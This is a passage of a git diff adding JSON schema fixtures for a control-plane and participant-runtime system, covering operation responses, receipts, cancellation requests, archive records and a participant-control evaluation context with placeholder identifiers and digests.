+ "sequence": 3, + "message": { + "kind": "outcome", + "proposed_state": "succeeded", + "effects": { + "effect": "complete", + "cessation_established": true, + "evidence_refs": [ + { + "contract_id": "backend-materialization-attestation-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "residual_scope": [ + "node.vm1" + ], + "residual_state": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "external_fence": null + }, + "satisfaction": "satisfied", + "release_gates_satisfied": true, + "cancellation_established": false, + "result": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/duplicate-01.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/duplicate-01.json new file mode 100644 index 000000000..752a59c89 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/duplicate-01.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "acknowledgement", + "disposition": "accepted", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/duplicate-02.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/duplicate-02.json new file mode 100644 index 000000000..752a59c89 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/duplicate-02.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "acknowledgement", + "disposition": "accepted", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-01.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-01.json new file mode 100644 index 000000000..752a59c89 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-01.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "acknowledgement", + "disposition": "accepted", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-02.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-02.json new file mode 100644 index 000000000..5f67a60a8 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-02.json @@ -0,0 +1,38 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 2, + "message": { + "kind": "control", + "control_id": "control-1", + "control_digest": "sha256:70871456333553d676f2b31b3d92f439018ed08039957cdcab00e3b5cb835bab", + "disposition": "accepted" + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-03.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-03.json new file mode 100644 index 000000000..c184f2885 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/partial-cancel-03.json @@ -0,0 +1,64 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 3, + "message": { + "kind": "outcome", + "proposed_state": "cancelled", + "effects": { + "effect": "partial", + "cessation_established": true, + "evidence_refs": [ + { + "contract_id": "backend-materialization-attestation-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "residual_scope": [ + "node.vm1" + ], + "residual_state": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "external_fence": null + }, + "satisfaction": "unsatisfied", + "release_gates_satisfied": false, + "cancellation_established": true, + "result": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/refused-01.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/refused-01.json new file mode 100644 index 000000000..7632a1e65 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/refused-01.json @@ -0,0 +1,38 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "admission", + "disposition": "refused", + "capability_digest": "sha256:066b3fa652e3c59d655a6c8f443164e8b5f5e79c08cbb911d18a363f0a912b9e", + "reason": "context-refused" + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-01.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-01.json new file mode 100644 index 000000000..752a59c89 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-01.json @@ -0,0 +1,37 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 1, + "message": { + "kind": "acknowledgement", + "disposition": "accepted", + "reason": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-02.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-02.json new file mode 100644 index 000000000..77e62785a --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-02.json @@ -0,0 +1,54 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 2, + "message": { + "kind": "outcome", + "proposed_state": "indeterminate", + "effects": { + "effect": "unknown", + "cessation_established": false, + "evidence_refs": [ + { + "contract_id": "backend-materialization-attestation-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "residual_scope": [], + "residual_state": null, + "external_fence": null + }, + "satisfaction": "unknown", + "release_gates_satisfied": false, + "cancellation_established": false, + "result": null + } +} diff --git a/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-03.json b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-03.json new file mode 100644 index 000000000..f973c3d14 --- /dev/null +++ b/contracts/fixtures/control-plane/backend-operation-response-v1/valid/uncertain-03.json @@ -0,0 +1,57 @@ +{ + "schema_version": "backend-operation-response/v1", + "binding": { + "operation_id": "operation-1", + "invocation_id": "invocation-1", + "attempt_id": "attempt-1", + "worker_id": "worker-1", + "deployment_id": "deployment-1", + "owner_generation": 1, + "execution_generation": 1, + "backend_id": "backend-1", + "baseline_revision": "revision-1", + "context": { + "actor_id": "author-1", + "authorization_scope": [ + "role:operator" + ], + "target_scope": "target-1", + "run_scope": "run-1", + "operation_kind": "provisioning", + "request_commitment": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "parent_operation_id": null + }, + "effect_scope": { + "kind": "target-run", + "addresses": [], + "independence": null + } + }, + "request_digest": "sha256:3182586fa3572b311637fe36d00e2bfb0ba5e1ba680dcd05aed5784bd8c79d5b", + "sequence": 3, + "message": { + "kind": "reconciliation", + "control_id": "control-1", + "control_digest": "sha256:79afda832a8d41a79982049673e384c0087d90e9ba90e7b3ee0f00ce1c4db2eb", + "effects": { + "effect": "complete", + "cessation_established": true, + "evidence_refs": [ + { + "contract_id": "backend-materialization-attestation-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + } + ], + "residual_scope": [ + "node.vm1" + ], + "residual_state": { + "contract_id": "runtime-snapshot-v1", + "artifact_id": "artifact-1", + "digest": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + }, + "external_fence": null + } + } +} diff --git a/contracts/fixtures/control-plane/operation-receipt-v1/valid/indeterminate-resolution.json b/contracts/fixtures/control-plane/operation-receipt-v1/valid/indeterminate-resolution.json new file mode 100644 index 000000000..cb0356b57 --- /dev/null +++ b/contracts/fixtures/control-plane/operation-receipt-v1/valid/indeterminate-resolution.json @@ -0,0 +1,17 @@ +{ + "schema_version": "runtime-operation/v1", + "operation_id": "resolution-op-1179", + "domain": "provisioning", + "submitted_at": "2026-09-17T00:00:05Z", + "accepted": true, + "context": { + "actor_id": "operator-1179", + "authorization_scope": ["role:operator"], + "target_scope": "target:stub", + "run_scope": "run:issue-1179", + "operation_kind": "indeterminate-resolution", + "request_commitment": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "parent_operation_id": "interrupted-op-1179" + }, + "diagnostics": [] +} diff --git a/contracts/fixtures/control-plane/operation-status-v1/valid/indeterminate-resolution.json b/contracts/fixtures/control-plane/operation-status-v1/valid/indeterminate-resolution.json new file mode 100644 index 000000000..eec2a7230 --- /dev/null +++ b/contracts/fixtures/control-plane/operation-status-v1/valid/indeterminate-resolution.json @@ -0,0 +1,19 @@ +{ + "schema_version": "runtime-operation/v1", + "operation_id": "resolution-op-1179", + "domain": "provisioning", + "state": "succeeded", + "submitted_at": "2026-09-17T00:00:05Z", + "updated_at": "2026-09-17T00:00:06Z", + "context": { + "actor_id": "operator-1179", + "authorization_scope": ["role:operator"], + "target_scope": "target:stub", + "run_scope": "run:issue-1179", + "operation_kind": "indeterminate-resolution", + "request_commitment": "sha256:bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", + "parent_operation_id": "interrupted-op-1179" + }, + "diagnostics": [], + "changed_addresses": [] +} diff --git a/contracts/fixtures/control-plane/workflow-cancellation-request-v1/invalid/unknown-field.json b/contracts/fixtures/control-plane/workflow-cancellation-request-v1/invalid/unknown-field.json new file mode 100644 index 000000000..a012bac2a --- /dev/null +++ b/contracts/fixtures/control-plane/workflow-cancellation-request-v1/invalid/unknown-field.json @@ -0,0 +1,6 @@ +{ + "force": true, + "reason": "budget exhausted", + "run_id": "run-red-operator-000017", + "schema_version": "workflow-cancellation-request/v1" +} diff --git a/contracts/fixtures/control-plane/workflow-cancellation-request-v1/valid/operator-cancel.json b/contracts/fixtures/control-plane/workflow-cancellation-request-v1/valid/operator-cancel.json new file mode 100644 index 000000000..a10544682 --- /dev/null +++ b/contracts/fixtures/control-plane/workflow-cancellation-request-v1/valid/operator-cancel.json @@ -0,0 +1,5 @@ +{ + "reason": "operator halted the trial after a safety review", + "run_id": null, + "schema_version": "workflow-cancellation-request/v1" +} diff --git a/contracts/fixtures/control-plane/workflow-cancellation-request-v1/valid/run-scoped.json b/contracts/fixtures/control-plane/workflow-cancellation-request-v1/valid/run-scoped.json new file mode 100644 index 000000000..0b05cbeff --- /dev/null +++ b/contracts/fixtures/control-plane/workflow-cancellation-request-v1/valid/run-scoped.json @@ -0,0 +1,5 @@ +{ + "reason": "budget exhausted", + "run_id": "run-red-operator-000017", + "schema_version": "workflow-cancellation-request/v1" +} diff --git a/contracts/fixtures/experiment-core/materialization-archive-record-v1/invalid/wrong-phase.json b/contracts/fixtures/experiment-core/materialization-archive-record-v1/invalid/wrong-phase.json new file mode 100644 index 000000000..af31212e6 --- /dev/null +++ b/contracts/fixtures/experiment-core/materialization-archive-record-v1/invalid/wrong-phase.json @@ -0,0 +1,27 @@ +{ + "reference": { + "ref_kind": "scenario-snapshot", + "ref_id": "materialization-1", + "ref_version": "raes-sdl-materialized/v1", + "ref_digest": "sha256:d31ab0c07b725714197101f84422cc1fead1ef978d8096ec8ebd9563cf244319", + "ref_path": "runs/run-1/attestations/materialization-1.sdl" + }, + "artifact": { + "artifact_id": "materialization-1", + "role": "materialization-attestation", + "media_type": "application/vnd.raes.sdl+yaml", + "uri": "urn:sha256:b25a3211895055e60030871adc1ded5694d1e33ab84f7c4c1d3f02528923ccc2", + "checksum": { + "algorithm": "sha256", + "value": "b25a3211895055e60030871adc1ded5694d1e33ab84f7c4c1d3f02528923ccc2" + }, + "size_bytes": 1102, + "created_at": "2026-09-14T12:00:00+00:00", + "source": "test-backend", + "satisfies_refs": [], + "sensitivity": "restricted", + "description": null + }, + "run_id": "run-1", + "operation_id": "operation-1" +} diff --git a/contracts/fixtures/experiment-core/materialization-archive-record-v1/valid/reference.json b/contracts/fixtures/experiment-core/materialization-archive-record-v1/valid/reference.json new file mode 100644 index 000000000..bc9bc423b --- /dev/null +++ b/contracts/fixtures/experiment-core/materialization-archive-record-v1/valid/reference.json @@ -0,0 +1,27 @@ +{ + "reference": { + "ref_kind": "materialization-attestation", + "ref_id": "materialization-1", + "ref_version": "raes-sdl-materialized/v1", + "ref_digest": "sha256:d31ab0c07b725714197101f84422cc1fead1ef978d8096ec8ebd9563cf244319", + "ref_path": "runs/run-1/attestations/materialization-1.sdl" + }, + "artifact": { + "artifact_id": "materialization-1", + "role": "materialization-attestation", + "media_type": "application/vnd.raes.sdl+yaml", + "uri": "urn:sha256:b25a3211895055e60030871adc1ded5694d1e33ab84f7c4c1d3f02528923ccc2", + "checksum": { + "algorithm": "sha256", + "value": "b25a3211895055e60030871adc1ded5694d1e33ab84f7c4c1d3f02528923ccc2" + }, + "size_bytes": 1102, + "created_at": "2026-09-14T12:00:00+00:00", + "source": "test-backend", + "satisfies_refs": [], + "sensitivity": "restricted", + "description": null + }, + "run_id": "run-1", + "operation_id": "operation-1" +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/dishonest.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/dishonest.json new file mode 100644 index 000000000..2c7fbec9f --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v1/context-invalid/dishonest.json @@ -0,0 +1,405 @@ +{ + "schema_version": "participant-control-evaluation/v1", + "evaluation_id": "evaluation-1", + "request": { + "selection": { + "schema_version": "participant-control-selection/v1", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "required_profiles": [ + "teaching-influence" + ], + "bindings": [ + { + "instance_id": "influence", + "profiles": [ + { + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1", + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630" + } + ], + "mechanism": { + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "protocol_revision": "participant-control-provider/v1", + "implementation": { + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "applicability": [ + { + "participant_address": "participants.student", + "episode_id": "episode-1", + "direction": "ingress", + "sink_ref": "teaching-observation", + "phase_ref": "practice", + "subject_kind": "participant-observation" + } + ], + "evidence": [ + { + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "limitations": [ + { + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + } + ], + "slots": [ + { + "slot_id": "fact", + "instance_id": "influence", + "kind": "ifc-fact", + "role": "mandatory", + "dependencies": [] + }, + { + "slot_id": "rule", + "instance_id": "influence", + "kind": "effect-request", + "role": "mandatory", + "dependencies": [ + { + "slot_id": "fact", + "kind": "ifc-fact" + } + ] + } + ], + "bounds": { + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1, + "max_attempts": 3, + "expires_at_order": 20 + }, + "evidence": [ + { + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "context": { + "run": { + "kind": "run", + "ref": "run-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "apparatus": { + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "participant_address": "participants.student", + "episode_id": "episode-1", + "subject": { + "subject_kind": "participant-observation", + "contract_id": "participant-observation-envelope-v1", + "subject_ref": "observation-1", + "subject_revision": "rev1", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "participant_address": "participants.student", + "episode_id": "episode-1" + }, + "crossing": { + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1", + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868" + }, + "direction": "ingress", + "sink_ref": "teaching-observation", + "audience_ref": "student-audience", + "destination_ref": "student", + "controller_ref": "teacher", + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "policy": { + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_decision_ref": "crossing-decision-1", + "decision_cut_ref": "cut-1", + "effective_order": 1, + "valid_from_order": 0, + "valid_until_order": 20 + }, + "state_cut": { + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "order_model": "behavior_history_order", + "anchor_event_ref": "event-1", + "anchor_order": 1, + "history_prefix_length": 2, + "predecessor_event_refs": [ + "event-0" + ] + }, + "expected_history_heads": [ + { + "kind": "history", + "ref": "history-head", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + } + ], + "inputs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "memory_scope": { + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "clock": { + "kind": "clock", + "ref": "clock-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "order": 1, + "phase_ref": "practice", + "trigger_root": "root-1", + "trigger": { + "kind": "trigger", + "ref": "event-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "predecessors": [], + "depth": 0, + "effects_consumed": 0, + "rule_firings": [], + "attempt": 1, + "prior_effect_claims": [] + } + }, + "results": [ + { + "result_id": "result-fact", + "slot_id": "fact", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "ifc-fact", + "domain": "teaching-influence-domain/rev1", + "tokens": [ + "coached-hint" + ], + "source_refs": [ + { + "kind": "input", + "ref": "observation-1", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ] + }, + "evidence": [ + { + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + } + ], + "next_provider_state": null + }, + { + "result_id": "result-rule", + "slot_id": "rule", + "instance_id": "influence", + "binding_digest": "sha256:b26671850230e99882888e22e84bc688eda205ed88d1165e03b2635602e47b7c", + "context_digest": "sha256:cd7174c65aaf33361a2ebad4fc5f7b36f6a578579dcff266dc3c9915296bfef7", + "status": "resolved", + "payload": { + "kind": "effect-request", + "effect_id": "effect-1", + "key": { + "run_ref": "run-1", + "trigger_root": "root-1", + "rule_id": "hint-followup", + "rule_revision": "rev1", + "slot": "followup", + "firing_epoch": "epoch-1" + }, + "rule": { + "kind": "rule", + "ref": "hint-followup", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "authority": { + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1", + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + }, + "phase": "subsequent", + "predecessor_effect_ids": [], + "target": { + "kind": "inject", + "delivery_ref": { + "kind": "inject-delivery", + "ref": "delivery-binding", + "revision": "rev1", + "digest": "sha256:b72c7c4ee0555898f4d00e542ceedb77dd96b16f65fd6f0fe96e36b3df24f156" + }, + "inject_ref": "inject-1", + "event_ref": "event-inject-1", + "script_ref": "script-1", + "story_ref": "story-1", + "source_item_ref": "reflection-source", + "result_item_ref": 